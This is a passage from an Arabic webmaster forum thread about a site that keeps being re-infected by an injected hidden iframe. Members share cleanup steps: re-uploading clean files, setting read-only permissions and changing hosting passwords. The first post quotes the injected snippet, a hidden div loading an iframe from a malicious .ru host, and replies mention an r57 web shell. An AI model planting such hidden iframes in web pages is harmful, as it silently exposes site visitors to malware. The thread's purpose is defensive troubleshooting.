الموضوع: يا اخوان داخل على الله ثم عليكم , شوفوا هالمشكلة فيروس iframe

السلام عليكم ورحمة الله وبركاته
اخواني الكرام , عندي مشكلة جننتني صراحة
اللي هي مشكلة فيروس iframe دخل احد المواقع واصلح فيه
رحت حذفت جميع الملفات وعندي انتي فيروس ونظفت كل شيء
وجبت ملفات للمنتدى جديدة تماما
وحليت مشكلة التنبيه لجوجل , لكن ما هي الا دقائق حتى عاد وبشكل اكثر قذارة
حيث انه الصفحة للمنتدى لم تعد تفتح , فقط صفحة بيضاء , والسورس واحد

هو هذا

كود:

<div style="display:none">jpxzqxtmorzmwfhlztsfmanaqomjlai<iframe width=308 height=324 src="http://deeth.ru:8080/index.php" ></iframe></div>

ايش المشكلة , وكيف ممكن اوقفه

الحل سهل جدا
احذف ملف الاندكس عن طريق الفايل منجر وليس عن طريق الاف تي بي
ارفع ملف اندكس جديد من جهازك( يكون نظيف بعد فحصه) وبعد ذلك اعطه التصريح 444
واعمل وكرر العمليه على جميع ملفات الاندكس الموجوده على سكربتات الموقع
وادع لي ... وبس

الله يعطيك العافية
انا هاظ اللي سويته , بس شو تقلي اندكس لجميع الصفحات والمجلدات الفرعية والخ
حوالي 100 , عموما انا حاليا غيرت الرقم السري للسي بانل والحساب كله للموقع , نسيت هذه الخطوة , على اساس انه صاحب الموقع قلت له غيرها , الظاهر مغيرها وعنده الفيروس , او ما رد علي وما غيرها

الان اعدت النسخة النظيفة وما رجع الفيروس , ها انا اراقب

لا تنسى التصريح 444 واللي يمنع الكتابه على الملف

انا كنت اقصد ان الفايروس يصيب كل ملف اندكس مهما كان مكانه
فلو عندك مجلد اسمه admin مثلا ... اذا كان فيه ملف اندكس .. احتمال كبير انه مصاب
فاحسن شي انك تغير كل ملف اندكس بكل مجلد
او تفحصهم عن طريق طلب الصفحه بالمتصفح وتشوفها تشتغل او لا

المشاركة الأصلية كتبت بواسطة i6i.cc

لا تنسى التصريح 444 واللي يمنع الكتابه على الملف

انا كنت اقصد ان الفايروس يصيب كل ملف اندكس مهما كان مكانه
فلو عندك مجلد اسمه admin مثلا ... اذا كان فيه ملف اندكس .. احتمال كبير انه مصاب
فاحسن شي انك تغير كل ملف اندكس بكل مجلد
او تفحصهم عن طريق طلب الصفحه بالمتصفح وتشوفها تشتغل او لا

اخي فعلا انا عملت اللي قلت عليه
اخي الحمد لله الله انعم علي ولي خبرة بهذه المواضيع
لكن يبدو انه التعجل والسرعة اضطرني لكتابة هذا الموضوع
كما قلت لك , انا "اعتقدت" انه صاحب الموقع غير كلمة السر لانه لما اتصل مع ياول شيء قلت له انه يغير كلمة السر للموقع
يبدو انه ما غيرها , او انه غيرها لكن عندهال فيروس سحب المعلومات الجديدة
الان ولله الحمد رجعت اصلحت الوضع ورفعت النسخة النظيفة مرة اخرى وما عاد ينتشر
هذا بعد ما غيرت الرقم السري للوحة


عموم ااعتذر لطرحي هذا الموضوع
لكن يبقى للحل و وهو كما ذكرت تغيير الكلمة السرية
بعد الخطزات التالية
تنظيف الجهاز تماما من الفيروسات , وانصح بـ AVG او NOD32 او Norton وطبعا يكون Internet Security مش بس AntiVirus ...
وغير الكلمة السرية للموقع (السي بانل والاف تي بي الخ)
ثاني شيء جلب نسخة نظيفة تماما من السكريبت , نسخة جديدة وبحالتي كان منتدى
ثالثا حذف جميع الملفات على الاستضافة , واذا عندك ملفات نادرة , مثل صور والخ , نززلها على جهازك قبل الحذف , اعمل للمجلد اللي نزلته فحص لكي يحذف اي بقايا هنا وهناك

ومنكم نستفيد ... بارك الله فيك

صارت قبل كذا لواحد من الشباب عندي
رفع ملف من جهازه لftp وانزرع الكود في كل ملفات الموقع
وقمت بمساعدته باعادة رفع الملفات من جهازي الشخصي وانحلت المشكله
بقي عليه ان يقوم بفرمته الجهاز وتنصيب برامج حمايه جديده ،، وانتهت المشكله على خير

المشاركة الأصلية كتبت بواسطة عربي 2

صارت قبل كذا لواحد من الشباب عندي
رفع ملف من جهازه لftp وانزرع الكود في كل ملفات الموقع
وقمت بمساعدته باعادة رفع الملفات من جهازي الشخصي وانحلت المشكله
بقي عليه ان يقوم بفرمته الجهاز وتنصيب برامج حمايه جديده ،، وانتهت المشكله على خير

هي كانت عندي المشكلة
وكان يوجد روابط اباحية بين الحين والاخر توضع فقط في الصفحة الرئيسية وبعض صفحات html :looking: اعملت فحص للموقع وجدت شيل r57 مرفوع << ابن الذين

واتخلصت منه وبعد فترة اصبحت مواد كاملة ترفع صور وصفحات و و و و (اللهم عافينا :eek3 , فلما اتصلت مع الدعم الفني وسألتهم جابوا لي تقرير انه الدخول والرفع يتم من الاف تي بي (يا سواد الوجه :anger2
المهم غيرت الباسوورد وانتهت على خير ولله الحمد


اما هذا الفيروس فشكل غير , بحثت عن حلول الكل يقول جيب ملفات نظيفة ونظف جهازك وخلاص , لكن هذا اللي سويته , ولكن رجع , الان غيرت الباسوورد , ولله الحمد والمنة , لا يوجد مؤشرات تشير الى تحركه من جديد

وما زلت اراقب

انا حليتها اني اعطيت كل الملفات ترخيص 444 دفعة واحدة
ولم اعاني بعدها بتاتاااا
استعمل برنامج FlashFXP لعمل الترخيص دفعة واحدة للموقع ككل

المشاركة الأصلية كتبت بواسطة Horizons

انا حليتها اني اعطيت كل الملفات ترخيص 444 دفعة واحدة
ولم اعاني بعدها بتاتاااا
استعمل برنامج FlashFXP لعمل الترخيص دفعة واحدة للموقع ككل

ما استغني على الافضل FileZilla , هو ايضا يقوم بعملها
لكن اذا حلت المشكلة ما فيه داعي اسوي هذه الحركة , ربما اقوم بها فقط للاندكسات الرئيسية

بسيطة
ولكن عندما تواجه فايروس مثل eval() يضع كوده في كل صفحات موقعك
ستحتاج الى هذه الطريقة بكل تأكيد

كل صفحه يتم تنظيفها وخصوصا الرئيسية اعطها تصريح 444

المشاركة الأصلية كتبت بواسطة Horizons

بسيطة
ولكن عندما تواجه فايروس مثل eval() يضع كوده في كل صفحات موقعك
ستحتاج الى هذه الطريقة بكل تأكيد

الله يحمينا
بس ما اعتقد انه يخترق هكذا بدون ثغرات
المفتاح دائما يكون بالرقم السري واي ملفات مشبوهة على الاستضافة
اما هكذا , ما اظن